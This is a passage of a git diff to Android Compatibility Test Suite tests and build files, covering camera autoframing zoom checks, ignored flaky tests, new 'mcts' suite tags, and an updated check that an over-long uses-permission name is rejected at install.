autoframingState == CameraMetadata.CONTROL_AUTOFRAMING_STATE_FRAMING
|| autoframingState
== CameraMetadata.CONTROL_AUTOFRAMING_STATE_CONVERGED);
- assertTrue("Video Stablization should be OFF when AUTOFRAMING is ON",
+
+ assertTrue("Video Stablization should be OFF when AUTOFRAMING is ON",
videoStabilizationMode
== CameraMetadata.CONTROL_VIDEO_STABILIZATION_MODE_OFF);
+
+ resultZoomRatio = getValueNotNull(result, CaptureResult.CONTROL_ZOOM_RATIO);
+ if (autoframingState ==
+ CameraMetadata.CONTROL_AUTOFRAMING_STATE_CONVERGED) {
+ break;
+ }
+ numFrames++;
+ }
+
+ if (autoframingState == CameraMetadata.CONTROL_AUTOFRAMING_STATE_CONVERGED
+ && expectedZoomRatio == 0.0f) {
+ expectedZoomRatio = resultZoomRatio;
+ }
} else {
expectedZoomRatio = testZoomRatio;
assertTrue("Autoframing state should be INACTIVE when AUTOFRAMING is OFF",
@@ -3279,12 +3302,16 @@
verifyCaptureResultForKey(CaptureResult.CONTROL_AUTOFRAMING, mode, listener,
NUM_FRAMES_VERIFIED);
- mCollector.expectTrue(String.format(
- "Zoom Ratio in Capture Request does not match the expected zoom"
- + "ratio in Capture Result (expected = %f, actual = %f)",
- expectedZoomRatio, resultZoomRatio),
- Math.abs(expectedZoomRatio - resultZoomRatio) / expectedZoomRatio
- <= zoomErrorMargin);
+ // If autoframing was OFF, or the framing state CONVERGED, the zoom ratio in result
+ // should be within the margin of error.
+ if (autoframingState != CameraMetadata.CONTROL_AUTOFRAMING_STATE_FRAMING) {
+ mCollector.expectTrue(String.format(
+ "Zoom Ratio in Capture Request does not match the expected zoom"
+ + "ratio in Capture Result (expected = %f, actual = %f)",
+ expectedZoomRatio, resultZoomRatio),
+ Math.abs(expectedZoomRatio - resultZoomRatio) / expectedZoomRatio
+ <= zoomErrorMargin);
+ }
}
}
}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
index 3cadf2a..7816f4c1 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
@@ -71,6 +71,7 @@
import org.junit.Assume;
import org.junit.Before;
import org.junit.ClassRule;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -614,6 +615,7 @@
}
}
+ @Ignore("b/312605194 Ignore until test failure is root caused")
@Postsubmit(reason = "new test")
@PolicyAppliesTest(policy = AccountManagement.class)
@ApiTest(apis = {"android.app.admin.DevicePolicyManager#setAccountManagementDisabled",
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/BluetoothTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/BluetoothTest.java
index fb73e88..fafbc44 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/BluetoothTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/BluetoothTest.java
@@ -161,7 +161,13 @@
try (PermissionContext p =
sDeviceState.dpc().permissions().withPermission(BLUETOOTH_CONNECT)) {
- assertThat(sDeviceState.dpc().bluetoothManager().getAdapter().disable()).isTrue();
+ // For some reason it doesn't always immediately recognise that the permission has
+ // been granted to the DPC
+ Poll.forValue("return value for disable from adapter",
+ () -> sDeviceState.dpc().bluetoothManager().getAdapter().disable())
+ .toBeEqualTo(true)
+ .errorOnFail()
+ .await();
r.awaitForBroadcast();
Poll.forValue("Bluetooth Enabled for DPC",
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/LockTaskTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/LockTaskTest.java
index d16d726..1584bf7 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/LockTaskTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/LockTaskTest.java
@@ -33,6 +33,7 @@
import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
+import static android.content.pm.PackageManager.FEATURE_TELEPHONY_CALLING;
import static android.devicepolicy.cts.utils.PolicyEngineUtils.FINANCED_DEVICE_CONTROLLER_ROLE;
import static com.android.bedstead.harrier.annotations.enterprise.MostImportantCoexistenceTest.LESS_IMPORTANT;
@@ -998,7 +999,7 @@
}
@PolicyAppliesTest(policy = LockTaskFinance.class)
- @RequireFeature(FEATURE_TELEPHONY)
+ @RequireFeature(FEATURE_TELEPHONY_CALLING)
@Postsubmit(reason = "b/181993922 automatically marked flaky")
// Tests that the default dialer doesn't crash or otherwise misbehave in lock task mode
public void launchDefaultDialerInLockTaskMode_launches() {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index c255eab..069ad28 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -58,6 +58,7 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import static org.junit.Assume.assumeTrue;
+import static org.junit.Assume.assumeFalse;
import android.content.ComponentName;
import android.platform.test.annotations.Presubmit;
@@ -749,7 +750,7 @@
@Test
public void testTurnScreenOnSingleTask() {
assumeTrue(supportsLockScreen());
-
+ assumeFalse(isCar() && supportsMultiDisplay());
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
lockScreenSession.sleepDevice();
separateTestJournal();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
index 5f0f9fb..5c49a60 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
@@ -71,6 +71,11 @@
Settings.Global::getInt,
Settings.Global::putInt,
0);
+ private final TestRule mDisableTransitionAnimationRule = SettingsSession.overrideForTest(
+ Settings.Global.getUriFor(Settings.Global.TRANSITION_ANIMATION_SCALE),
+ Settings.Global::getFloat,
+ Settings.Global::putFloat,
+ 0f);
private final ActivityTestRule<BackgroundActivity> mBackgroundActivity =
new ActivityTestRule<>(BackgroundActivity.class);
@@ -78,6 +83,7 @@
@Rule
public final TestRule methodRules = RuleChain.outerRule(mDumpOnFailure)
.around(mEnableBlurRule)
+ .around(mDisableTransitionAnimationRule)
.around(mBackgroundActivity);
@Before
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java
index 518e4b4..d72f198 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/FreeformWindowingModeTests.java
@@ -41,6 +41,7 @@
import android.server.wm.WindowManagerState.Task;
import android.view.Display;
+import org.junit.Ignore;
import org.junit.Test;
/**
@@ -92,6 +93,7 @@
}
@Test
+ @Ignore("b/303085283 This is related to new app compat policy")
public void testNonResizeableActivityHasFullDisplayBounds() throws Exception {
createManagedDevEnableNonResizableMultiWindowSession().set(0);
launchActivity(TEST_ACTIVITY);
@@ -123,6 +125,7 @@
}
@Test
+ @Ignore("b/303087543 Need to investigate the reason why this test doesn't work on tablets")
public void testActivityLifeCycleOnResizeFreeformTask() throws Exception {
launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FREEFORM);
launchActivity(NO_RELAUNCH_ACTIVITY, WINDOWING_MODE_FREEFORM);
diff --git a/tests/input/src/android/input/cts/MultiTouchTest.kt b/tests/input/src/android/input/cts/MultiTouchTest.kt
index aa493f9..db47fef 100644
--- a/tests/input/src/android/input/cts/MultiTouchTest.kt
+++ b/tests/input/src/android/input/cts/MultiTouchTest.kt
@@ -16,6 +16,7 @@
package android.input.cts
import android.app.ActivityOptions
+import android.content.ComponentName
import android.content.Intent
import android.content.pm.ActivityInfo
import android.graphics.PointF
@@ -38,6 +39,8 @@
private val instrumentation = InstrumentationRegistry.getInstrumentation()
private lateinit var verifier: EventVerifier
private val touchInjector = TouchInjector(instrumentation)
+ private val activityName =
+ ComponentName(instrumentation.targetContext, CaptureEventActivity::class.java)
@JvmField
@Parameterized.Parameter(0)
@@ -54,7 +57,7 @@
fun setUp() {
val bundle = ActivityOptions.makeBasic().setLaunchDisplayId(0).toBundle()
val intent = Intent(Intent.ACTION_VIEW)
- .setClass(instrumentation.targetContext, CaptureEventActivity::class.java)
+ .setComponent(activityName)
.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TASK)
.putExtra(CaptureEventActivity.EXTRA_FIXED_ORIENTATION, orientation)
.putExtra(CaptureEventActivity.EXTRA_WINDOW_FLAGS, flags)
@@ -64,7 +67,10 @@
PollingCheck.waitFor { activity.hasWindowFocus() }
verifier = EventVerifier(activity::getInputEvent)
- WindowManagerStateHelper().waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY)
+ val wmState = WindowManagerStateHelper()
+ wmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY)
+ wmState.waitForActivityOrientation(activityName, orientation)
+
instrumentation.uiAutomation.syncInputTransactions()
instrumentation.waitForIdleSync()
}
diff --git a/tests/jdwp/runner/host-side/Android.bp b/tests/jdwp/runner/host-side/Android.bp
index 4786c2f..4492693 100644
--- a/tests/jdwp/runner/host-side/Android.bp
+++ b/tests/jdwp/runner/host-side/Android.bp
@@ -39,5 +39,8 @@
"cts",
"general-tests",
"mts-art",
+ "mcts-art",
+ "mts-conscrypt",
+ "mcts-conscrypt",
],
}
diff --git a/tests/libcore/jsr166/Android.bp b/tests/libcore/jsr166/Android.bp
index 9ffff77..eb6e582 100644
--- a/tests/libcore/jsr166/Android.bp
+++ b/tests/libcore/jsr166/Android.bp
@@ -40,6 +40,7 @@
"cts",
"general-tests",
"mts-art",
+ "mcts-art",
],
host_required: ["cts-dalvik-host-test-runner"],
}
diff --git a/tests/libcore/luni/Android.bp b/tests/libcore/luni/Android.bp
index e60d895..ba84aea 100644
--- a/tests/libcore/luni/Android.bp
+++ b/tests/libcore/luni/Android.bp
@@ -62,5 +62,6 @@
"mts-art",
"general-tests",
"automotive-general-tests",
+ "mcts-art",
],
}
diff --git a/tests/libcore/ojluni/Android.bp b/tests/libcore/ojluni/Android.bp
index 221d497..fa07690 100644
--- a/tests/libcore/ojluni/Android.bp
+++ b/tests/libcore/ojluni/Android.bp
@@ -47,6 +47,7 @@
"cts",
"general-tests",
"mts-art",
+ "mcts-art",
],
data: [
":CtsLibcoreTestRunner",
diff --git a/tests/libcore/okhttp/Android.bp b/tests/libcore/okhttp/Android.bp
index 25fe13b..ad7cf59 100644
--- a/tests/libcore/okhttp/Android.bp
+++ b/tests/libcore/okhttp/Android.bp
@@ -51,6 +51,7 @@
"cts",
"general-tests",
"mts-conscrypt",
+ "mcts-conscrypt",
],
host_required: ["cts-dalvik-host-test-runner"],
test_config: "CtsLibcoreOkHttpTestCases.xml"
diff --git a/tests/libcore/wycheproof-bc/Android.bp b/tests/libcore/wycheproof-bc/Android.bp
index a7b90af..97eb795 100644
--- a/tests/libcore/wycheproof-bc/Android.bp
+++ b/tests/libcore/wycheproof-bc/Android.bp
@@ -49,5 +49,6 @@
"cts",
"general-tests",
"mts-art",
+ "mcts-art",
],
}
diff --git a/tests/media/Android.bp b/tests/media/Android.bp
index 57d76a6..0f7d023 100644
--- a/tests/media/Android.bp
+++ b/tests/media/Android.bp
@@ -48,6 +48,7 @@
"cts",
"general-tests",
"mts-media",
+ "mcts-media",
],
min_sdk_version: "29",
}
diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
index 4e1c525..8e43a10 100644
--- a/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecEncoderSurfaceTest.java
@@ -404,15 +404,17 @@
// Prior to Android U, this test was using the first decoder for a given mediaType.
// In Android U, this was updated to test the encoders with all decoders for the
// given mediaType. There are some vendor encoders in older versions of Android
- // which do not work as expected with the surface from s/w decoder.
- // If the device is has vendor partition older than Android U, limit the tests
- // to first decoder like it was being done prior to Androd U
+ // and few OMX encoders which do not work as expected with the surface from s/w decoder.
+ // If the device is has vendor partition older than Android U or if the encoder is
+ // an OMX encoder, then limit the tests to first decoder like it was being done prior
+ // to Androd U
final List<Object[]> finalArgsList = new ArrayList<>();
for (Object[] arg : expandedArgsList) {
String encoderName = (String) arg[0];
String decoderName = (String) arg[2];
String decoderMediaType = (String) arg[3];
- if (VNDK_IS_BEFORE_U && isVendorCodec(encoderName)) {
+ if ((VNDK_IS_BEFORE_U || encoderName.toUpperCase().startsWith("OMX"))
+ && isVendorCodec(encoderName)) {
if (!isDefaultCodec(decoderName, decoderMediaType, /* isEncoder */false)) {
continue;
}
diff --git a/tests/mediapc/src/android/mediapc/cts/CodecTranscoderTestBase.java b/tests/mediapc/src/android/mediapc/cts/CodecTranscoderTestBase.java
index cfd1b5d..d3317f8 100644
--- a/tests/mediapc/src/android/mediapc/cts/CodecTranscoderTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/CodecTranscoderTestBase.java
@@ -360,6 +360,7 @@
if (mUseHighBitDepth) {
encoderFormat.setInteger(MediaFormat.KEY_PROFILE,
Objects.requireNonNull(PROFILE_HLG_MAP.get(mMime))[0]);
+ encoderFormat.setInteger(MediaFormat.KEY_LEVEL, 1);
}
return encoderFormat;
}
diff --git a/tests/ondevicepersonalization/Android.bp b/tests/ondevicepersonalization/Android.bp
index 738effe..5509c26 100644
--- a/tests/ondevicepersonalization/Android.bp
+++ b/tests/ondevicepersonalization/Android.bp
@@ -27,6 +27,7 @@
"cts",
"general-tests",
"mts-ondevicepersonalization",
+ "mcts-ondevicepersonalization",
],
libs: [
"android.test.runner",
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
index 5fae541..442ce2c 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
@@ -32,6 +32,7 @@
import java.util.Set;
import java.util.function.Predicate;
import org.junit.Test;
+import org.junit.Ignore;
/**
* Checks that it is not possible to access hidden APIs.
@@ -77,11 +78,13 @@
}
@Test
+ @Ignore("b/301075649")
public void testSignatureFieldsThroughReflection() {
doTestSignature(FIELD_FILTER, /* reflection= */ true, /* jni= */ false);
}
@Test
+ @Ignore("b/301075649")
public void testSignatureFieldsThroughJni() {
doTestSignature(FIELD_FILTER, /* reflection= */ false, /* jni= */ true);
}
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
index 4b7e402..e938f81 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
@@ -31,6 +31,7 @@
import java.util.function.Supplier;
import java.util.stream.Collectors;
import org.junit.Test;
+import org.junit.Ignore;
/**
* Performs the signature check via a JUnit test.
@@ -90,6 +91,7 @@
* <p>Will check the entire API, and then report the complete list of failures</p>
*/
@Test(timeout = 600000)
+ @Ignore("b/301075649")
public void testRuntimeCompatibilityWithCurrentApi() {
runWithTestResultObserver(mResultObserver -> {
ApiComplianceChecker complianceChecker =
diff --git a/tests/storageaccess/Android.bp b/tests/storageaccess/Android.bp
index f2acdc2..9a83b3f 100644
--- a/tests/storageaccess/Android.bp
+++ b/tests/storageaccess/Android.bp
@@ -46,5 +46,6 @@
"cts",
"general-tests",
"mts-documentsui",
+ "mcts-documentsui",
],
}
diff --git a/tests/tests/appop2/Android.bp b/tests/tests/appop2/Android.bp
index 55a30b9..0630728 100644
--- a/tests/tests/appop2/Android.bp
+++ b/tests/tests/appop2/Android.bp
@@ -33,6 +33,7 @@
"cts",
"general-tests",
"mts-permission",
+ "mcts-permission",
"vts10",
],
data: [
diff --git a/tests/tests/attributionsource/Android.bp b/tests/tests/attributionsource/Android.bp
index ea09ec5..09724ed 100644
--- a/tests/tests/attributionsource/Android.bp
+++ b/tests/tests/attributionsource/Android.bp
@@ -39,5 +39,6 @@
"cts",
"general-tests",
"mts-permission",
+ "mcts-permission",
],
}
diff --git a/tests/tests/bionic/Android.bp b/tests/tests/bionic/Android.bp
index c6bc68c..72019b8 100644
--- a/tests/tests/bionic/Android.bp
+++ b/tests/tests/bionic/Android.bp
@@ -57,6 +57,7 @@
"cts",
"general-tests",
"mts-mainline-infra",
+ "mcts-mainline-infra",
],
data_bins: [
diff --git a/tests/tests/companion/uiautomation/src/android/companion/cts/uiautomation/SystemDataTransferTest.kt b/tests/tests/companion/uiautomation/src/android/companion/cts/uiautomation/SystemDataTransferTest.kt
index 1e6e1d8..a540bf3 100644
--- a/tests/tests/companion/uiautomation/src/android/companion/cts/uiautomation/SystemDataTransferTest.kt
+++ b/tests/tests/companion/uiautomation/src/android/companion/cts/uiautomation/SystemDataTransferTest.kt
@@ -17,7 +17,6 @@
package android.companion.cts.uiautomation
import android.Manifest.permission.MANAGE_COMPANION_DEVICES
-import android.Manifest.permission.READ_DEVICE_CONFIG
import android.annotation.CallSuper
import android.app.Activity.RESULT_CANCELED
import android.app.Activity.RESULT_OK
@@ -25,7 +24,6 @@
import android.companion.CompanionDeviceManager
import android.companion.CompanionException
import android.companion.cts.common.CompanionActivity
-import android.companion.utils.FeatureUtils
import android.content.Intent
import android.os.OutcomeReceiver
import android.platform.test.annotations.AppModeFull
@@ -45,7 +43,6 @@
import kotlin.test.assertNotNull
import kotlin.test.assertTrue
import libcore.util.EmptyArray
-import org.junit.Assume.assumeTrue
import org.junit.Test
import org.junit.runner.RunWith
@@ -64,9 +61,6 @@
@CallSuper
override fun setUp() {
super.setUp()
- assumeTrue(withShellPermissionIdentity(READ_DEVICE_CONFIG) {
- FeatureUtils.isPermSyncEnabled()
- })
withShellPermissionIdentity(MANAGE_COMPANION_DEVICES) {
cdm.enableSecureTransport(false)
}
@@ -260,7 +254,8 @@
assertNotNull(associationData)
val association: AssociationInfo? = associationData.getParcelableExtra(
CompanionDeviceManager.EXTRA_ASSOCIATION,
- AssociationInfo::class.java)
+ AssociationInfo::class.java
+ )
assertNotNull(association)
return association
diff --git a/tests/tests/content/Android.bp b/tests/tests/content/Android.bp
index 714ebee..2f48f92 100644
--- a/tests/tests/content/Android.bp
+++ b/tests/tests/content/Android.bp
@@ -154,6 +154,7 @@
"cts",
"general-tests",
"mts-documentsui",
+ "mcts-documentsui",
],
min_sdk_version: "29",
replace_max_sdk_version_placeholder: "current",
diff --git a/tests/tests/content/emptytestapp/AndroidManifestLongUsesPermissionName.xml b/tests/tests/content/emptytestapp/AndroidManifestLongUsesPermissionName.xml
index 25071b8..be38b74 100644
--- a/tests/tests/content/emptytestapp/AndroidManifestLongUsesPermissionName.xml
+++ b/tests/tests/content/emptytestapp/AndroidManifestLongUsesPermissionName.xml
@@ -18,6 +18,6 @@
package="android.content.cts.emptytestapp.longusespermission">
<!-- Test that apks with a long name in <uses-permission> could not be installed successfully.
The maximum size of the name is 512. -->
- <uses-permission android:name="p05Ok3DDwKRRaaJTglSJ1b8CApMKVpqhs8MJioRQcDEslzBIFS8ArsT8IwByiTC1ArGiA3bi49pGwKDVzYJEluxHNJukCM7xamCByVrtGo0r93eVa3tPriVkCYe01Vxrmg9tkWThStdLAbgBOT4tNI3pP6NHAsiSie4CfrCWkc5IloeCYKBp05Ok3DDwKRRaaJTglSJ1b8CApMKVpqhs8MJioRQcDEslzBIFS8ArsT8IwByiTC1ArGiA3bi49pGwKDVzYJEluxHNJukCM7xamCByVrtGo0r93eVa3tPriVkCYe01Vxrmg9tkWThStdLAbgBOT4tNI3pP6NHAsiSie4CfrCWkc5IloeCY27jEBRNRG3ozwBsGr1sVIM9U0bVTI2TdyIyeRkZgW4JrJefwNIBAmCg4AzqXiCvG6JjqA0uTCWSFu2YqAVxVdiRKAay19k5VFlSaM7QW9uhvlrLQqsTW01ofFzxNDbp2QfIFHZR6rebKzKBz6byQFM0DYQnYMwFWXjWkMPNdqkRLykoFLyBup53G68k2n8w" />
+ <uses-permission android:name="p05Ok3DDwKRRaaJTglSJ1b8CApMKVpqhs8MJioRQcDEslzBIFS8ArsT8IwByiTC1ArGiA3bi49pGwKDVzYJEluxHNJukCM7xamCByVrtGo0r93eVa3tPriVkCYe01Vxrmg9tkWThStdLAbgBOT4tNI3pP6NHAsiSie4CfrCWkc5IloeCYKBp05Ok3DDwKRRaaJTglSJ1b8CApMKVpqhs8MJioRQcDEslzBIFS8ArsT8IwByiTC1ArGiA3bi49pGwKDVzYJEluxHNJukCM7xamCByVrtGo0r93eVa3tPriVkCYe01Vxrmg9tkWThStdLAbgBOT4tNI3pP6NHAsiSie4CfrCWkc5IloeCY27jEBRNRG3ozwBsGr1sVIM9U0bVTI2TdyIyeRkZgW4JrJefwNIBAmCg4AzqXiCvG6JjqA0uTCWSFu2YqAVxVdiRKAay19k5VFlSaM7QW9uhvlrLQqsTW01ofFzxNDbp2QfIFHZR6rebKzKBz6byQFM0DYQnYMwFWXjWkMPNdqkRLykoFLyBup53G68k2n8wp05Ok3DDwKRRaaJTglSJ1b8CApMKVpqhs8MJioRQcDEslzBIFS8ArsT8IwByiTC1ArGiA3bi49pGwKDVzYJEluxHNJukCM7xamCByVrtGo0r93eVa3tPriVkCYe01Vxrmg9tkWThStdLAbgBOT4tNI3pP6NHAsiSie4CfrCWkc5IloeCYKBp05Ok3DDwKRRaaJTglSJ1b8CApMKVpqhs8MJioRQcDEslzBIFS8ArsT8IwByiTC1ArGiA3bi49pGwKDVzYJEluxHNJukCM7xamCByVrtGo0r93eVa3tPriVkCYe01Vxrmg9tkWThStdLAbgBOT4tNI3pP6NHAsiSie4CfrCWkc5IloeCY27jEBRNRG3ozwBsGr1sVIM9U0bVTI2TdyIyeRkZgW4JrJefwNIBAmCg4AzqXiCvG6JjqA0uTCWSFu2YqAVxVdiRKAay19k5VFlSaM7QW9uhvlrLQqsTW01ofFd" />
<application android:hasCode="false" android:label="Empty Test App" />
</manifest>
\ No newline at end of file
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
index 58d8436..fd72e85 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
@@ -18,6 +18,8 @@
import static android.Manifest.permission.WRITE_ALLOWLISTED_DEVICE_CONFIG;
+import static com.google.common.truth.Truth.assertThat;
+
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotEquals;
@@ -305,10 +307,8 @@
public void testSystemInstallWithIdSig() throws Exception {
final String baseName = TEST_APK_SHELL;
final File file = new File(createApkPath(baseName));
- assertEquals(
- "Failure [INSTALL_FAILED_SESSION_INVALID: Incremental installation of this "
- + "package is not allowed.]\n",
- executeShellCommand("pm install-incremental -t -g " + file.getPath()));
+ assertThat(executeShellCommand("pm install-incremental -t -g " + file.getPath()))
+ .startsWith("Failure [INSTALL_FAILED_SESSION_INVALID");
}
@LargeTest
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index 89d6aed..7ffe9e9 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -2075,13 +2075,14 @@
@Test
public void testInstall_withLongUsesPermissionName_fail() {
- String expectedErrorCode = "INSTALL_PARSE_FAILED_MANIFEST_MALFORMED";
- String expectedErrorMessage = "The name in the <uses-permission> is greater than 512";
+ String expectedErrorCode = "INSTALL_PARSE_FAILED_UNEXPECTED_EXCEPTION";
+ String expectedErrorMessage =
+ "String length limit exceeded for attribute in uses-permission";
String installResult = installPackageWithResult(LONG_USES_PERMISSION_NAME_APK);
- assertThat(installResult.contains(expectedErrorCode)).isTrue();
- assertThat(installResult.contains(expectedErrorMessage)).isTrue();
+ assertThat(installResult).contains(expectedErrorCode);
+ assertThat(installResult).contains(expectedErrorMessage);
}
private String installPackageWithResult(String apkPath) {
diff --git a/tests/tests/deviceconfig/Android.bp b/tests/tests/deviceconfig/Android.bp
index 8b90258..a4c86f0 100644
--- a/tests/tests/deviceconfig/Android.bp
+++ b/tests/tests/deviceconfig/Android.bp
@@ -26,6 +26,7 @@
"cts",
"general-tests",
"mts-configinfrastructure",
+ "mcts-configinfrastructure",
],
libs: ["android.test.base"],
static_libs: [
diff --git a/tests/tests/display/AndroidManifest.xml b/tests/tests/display/AndroidManifest.xml
index e0f2481..9b895c5 100644
--- a/tests/tests/display/AndroidManifest.xml
+++ b/tests/tests/display/AndroidManifest.xml
@@ -45,6 +45,7 @@
android:exported="true"/>
<activity android:name=".HdrConversionTestActivity" />
<activity android:name=".SimpleActivity" />
+ <activity android:name=".SimpleActivity2" />
</application>
<!-- self-instrumenting test package. -->
diff --git a/tests/tests/display/src/android/display/cts/DisplayEventTest.java b/tests/tests/display/src/android/display/cts/DisplayEventTest.java
index 36339e5..7aeb777 100644
--- a/tests/tests/display/src/android/display/cts/DisplayEventTest.java
+++ b/tests/tests/display/src/android/display/cts/DisplayEventTest.java
@@ -379,11 +379,12 @@
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
mInstrumentation.startActivitySync(intent);
- // Launch Home to bring the test activity into cached mode
- Intent home = new Intent(Intent.ACTION_MAIN);
- home.addCategory(Intent.CATEGORY_HOME);
- home.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- mContext.startActivity(home);
+ // Launch another activity to bring the test activity into cached mode
+ Intent intent2 = new Intent(Intent.ACTION_MAIN);
+ intent2.setClass(mContext, SimpleActivity2.class);
+ intent2.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ mInstrumentation.startActivitySync(intent2);
+
waitLatch(mLatchActivityCached);
}
diff --git a/tests/tests/display/src/android/display/cts/SimpleActivity2.java b/tests/tests/display/src/android/display/cts/SimpleActivity2.java
new file mode 100644
index 0000000..663c1b8
--- /dev/null
+++ b/tests/tests/display/src/android/display/cts/SimpleActivity2.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.display.cts;
+
+import android.app.Activity;
+
+/**
+ * An activity doing nothing
+ */
+public final class SimpleActivity2 extends Activity { }
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
index 5f27a97..7082f50 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationTest.java
@@ -115,6 +115,8 @@
allowedDensities.add(DisplayMetrics.DENSITY_XXXHIGH);
// Backport of DENSITY_520 from Android 14 to android13-tests-dev
allowedDensities.add(520);
+ // Backport of DENSITY_390 to android14-tests-dev
+ allowedDensities.add(390);
assertTrue("DisplayMetrics.DENSITY_DEVICE_STABLE must be one of the DisplayMetrics.DENSITY_* values: "
+ allowedDensities, allowedDensities.contains(DisplayMetrics.DENSITY_DEVICE_STABLE));
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_usb_register.json b/tests/tests/hardware/res/raw/sony_dualshock4_usb_register.json
index db322d6..67f0f92 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock4_usb_register.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_usb_register.json
@@ -54,6 +54,11 @@
{
"id": 0x81,
"data": [0x81, 0x62, 0x97, 0xc9, 0x00, 0x00, 0x00]
+ },
+ {
+ "id": 0x12,
+ "data": [0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00]
}
]
}
diff --git a/tests/tests/libcoreapievolution/Android.bp b/tests/tests/libcoreapievolution/Android.bp
index 954f3a2..b8b1799 100644
--- a/tests/tests/libcoreapievolution/Android.bp
+++ b/tests/tests/libcoreapievolution/Android.bp
@@ -33,5 +33,6 @@
"cts",
"general-tests",
"mts-art",
+ "mcts-art",
],
}
diff --git a/tests/tests/libcorefileio/Android.bp b/tests/tests/libcorefileio/Android.bp
index b9db7d2..5de8752 100644
--- a/tests/tests/libcorefileio/Android.bp
+++ b/tests/tests/libcorefileio/Android.bp
@@ -33,5 +33,6 @@
"cts",
"general-tests",
"mts-art",
+ "mcts-art",
],
}
diff --git a/tests/tests/libcorelegacy22/Android.bp b/tests/tests/libcorelegacy22/Android.bp
index 98684b2..c465456 100644
--- a/tests/tests/libcorelegacy22/Android.bp
+++ b/tests/tests/libcorelegacy22/Android.bp
